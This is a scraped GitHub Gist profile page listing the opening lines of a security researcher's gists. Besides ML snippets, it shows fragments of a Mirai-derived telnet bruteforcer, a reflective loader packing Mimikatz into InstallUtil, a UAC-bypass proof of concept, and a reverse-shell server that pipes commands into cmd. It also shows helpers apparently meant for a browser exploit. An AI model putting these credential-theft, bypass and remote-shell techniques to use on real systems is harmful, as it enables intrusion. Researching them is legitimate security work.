Skip to content

Instantly share code, notes, and snippets.

View aaaddress1's full-sized avatar
🤗
buy me a beer plz 🍺

Sheng-Hao Ma aaaddress1

🤗
buy me a beer plz 🍺
View GitHub Profile
@aaaddress1
aaaddress1 / neuralNetwork.py
Created April 12, 2020 06:16
neuralNetwork.py
# rewrite by aaaddress1@chroot.org
# refer: github.com/makeyourownneuralnetwork/makeyourownneuralnetwork/blob/master/part2_neural_network_mnist_data.ipynb
import matplotlib, numpy, os, pickle
def sigmoid(x):
return 1 / (1 + numpy.exp(-x))
def saveModel():
global wih # weight of (input -> hidden) layer ... ( 100, 28^2 )
global who # weight of (hidden -> output) layer ... ( 10, 100 )
# Telnet Bruteforce in Python, by aaaddress1@chroot.org
# ref: https://github.com/jgamblin/Mirai-Source-Code
import socket
import sys
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.118.127.36', 23))
#s.send(b'\xff\xfc\x23\xff\xfa\x1f\x00\xa0\x00\x39\xff\xf0\xff\xfd\x01')
@aaaddress1
aaaddress1 / cos_similarity.py
Last active April 15, 2020 19:43
cos_similarity.py
# co-occurence matrix & cos-similarity, by aaaddress1@chroot.org
testSample = 'adr have 30cm and shenghao have 30cm'
in_sample = testSample.split()
corups = set(in_sample)
co_matrix = { x: dict.fromkeys(corups, 0) for x in corups }
win_size = 1
for indx, curr_token in enumerate(in_sample):
if indx - win_size >= 0:
@aaaddress1
aaaddress1 / PELoader.cs
Created July 19, 2020 15:46 — forked from xorrior/PELoader.cs
Reflective PE Loader - Compressed Mimikatz inside of InstallUtil
using System;
using System.IO;
using System.IO.Compression;
using System.Text;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Runtime.InteropServices;
@aaaddress1
aaaddress1 / sysDoor.c
Last active May 3, 2024 22:09
sysDoor: masqueradePEB + iFileOperation
//
// SITCON 2020 PoC for Windows 7 x86
// Author: aaaddress1@chroot.org
// cite: github.com/liuxigu/bypassuac/blob/master/bypassuac/bypassuac.cpp
//
#include <Shobjidl.h>
#include "windows.h"
#include "winternl.h"
#include <iostream>
using namespace std;
// iThome 2020 Demo: Signature Patcher for Explorer
// author: aaaddress1@chroot.org
#include <iostream>
#include <Windows.h>
int main() {
DWORD explorer_pid;
GetWindowThreadProcessId(FindWindowA("Shell_TrayWnd", NULL), &explorer_pid);
if (HANDLE token = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorer_pid)) {
@aaaddress1
aaaddress1 / vehMon.cpp
Last active May 3, 2024 22:14
VEH Monitor
// VEH Montior by aaaddress1@chroot.org
#include <stdio.h>
#include <windows.h>
#pragma warning( disable : 4996 )
LONG __stdcall TrapFilter(PEXCEPTION_POINTERS pexinf) {
if (pexinf->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION && ((DWORD)pexinf->ExceptionRecord->ExceptionAddress & 0x80000000))
pexinf->ContextRecord->Eip = pexinf->ContextRecord->Eip ^ 0x80000000;
else if (pexinf->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
return EXCEPTION_CONTINUE_SEARCH;
@aaaddress1
aaaddress1 / dynPatchSelf.cc
Last active February 26, 2021 08:05
dynPatchSelf.cc
// dynamic patch self function by aaaddress1@chroot.org
#include <windows.h>
#include <algorithm>
#include <iterator>
using namespace std;
void hello()
{
puts("Are You Helloing?");
}
int main(void)
@aaaddress1
aaaddress1 / cmdSrv.py
Created March 4, 2021 15:47
cmdSrv.py
'''
Cmd Multiple RevShell Server by aaaddress1@chroot.org
[test] $ ncat localhost 54321 | cmd
'''
import time, socket
def handleClient(connection):
try:
time.sleep(1)
connection.send(b'whoami && echo 123 > ggdada.txt && exit\n')
except Exception as e:
class Helpers {
constructor() {
this.cvt_buf = new ArrayBuffer(8);
this.cvt_f64a = new Float64Array(this.cvt_buf);
this.cvt_u64a = new BigUint64Array(this.cvt_buf);
this.cvt_u32a = new Uint32Array(this.cvt_buf);
}
ftoi(f) {